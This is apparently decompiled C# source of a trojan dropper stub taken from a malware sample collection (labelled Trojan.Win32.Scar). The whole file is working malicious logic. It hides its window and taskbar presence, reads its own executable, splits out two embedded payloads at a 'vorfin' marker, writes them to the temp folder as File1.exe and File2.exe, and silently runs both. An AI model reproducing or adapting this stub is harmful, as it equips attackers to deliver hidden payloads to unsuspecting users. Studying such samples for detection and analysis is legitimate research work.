// Decompiled with JetBrains decompiler // Type: Stub1.Form1 // Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Windows.Forms; namespace Stub1 { [DesignerGenerated] public class Form1 : Form { private IContainer components; private const string FileSplit = "vorfin"; [DebuggerNonUserCode] public Form1() { this.Load += new EventHandler(this.Form1_Load); this.InitializeComponent(); } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.components == null) return; this.components.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void InitializeComponent() { this.components = (IContainer) new System.ComponentModel.Container(); this.AutoScaleMode = AutoScaleMode.Font; this.Text = nameof (Form1); } private void Form1_Load(object sender, EventArgs e) { this.Visible = false; this.Opacity = 0.0; this.ShowIcon = false; this.ShowInTaskbar = false; string tempPath = Path.GetTempPath(); FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); FileSystem.FileGet(1, ref Expression); FileSystem.FileClose(1); string[] strArray = Strings.Split(Expression, "vorfin"); FileSystem.FileOpen(3, tempPath + "\\File1.exe", OpenMode.Binary, OpenAccess.ReadWrite); FileSystem.FilePut(3, strArray[1], -1L, false); FileSystem.FileClose(3); FileSystem.FileOpen(5, tempPath + "\\File2.exe", OpenMode.Binary, OpenAccess.ReadWrite); FileSystem.FilePut(5, strArray[2], -1L, false); FileSystem.FileClose(5); Process.Start(tempPath + "\\File1.exe"); Process.Start(tempPath + "\\File2.exe"); this.Close(); } } }